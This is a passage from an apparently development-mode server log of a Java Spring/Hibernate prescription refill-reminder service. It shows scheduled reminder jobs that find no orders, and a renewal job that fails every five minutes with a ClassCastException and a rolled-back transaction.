org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at 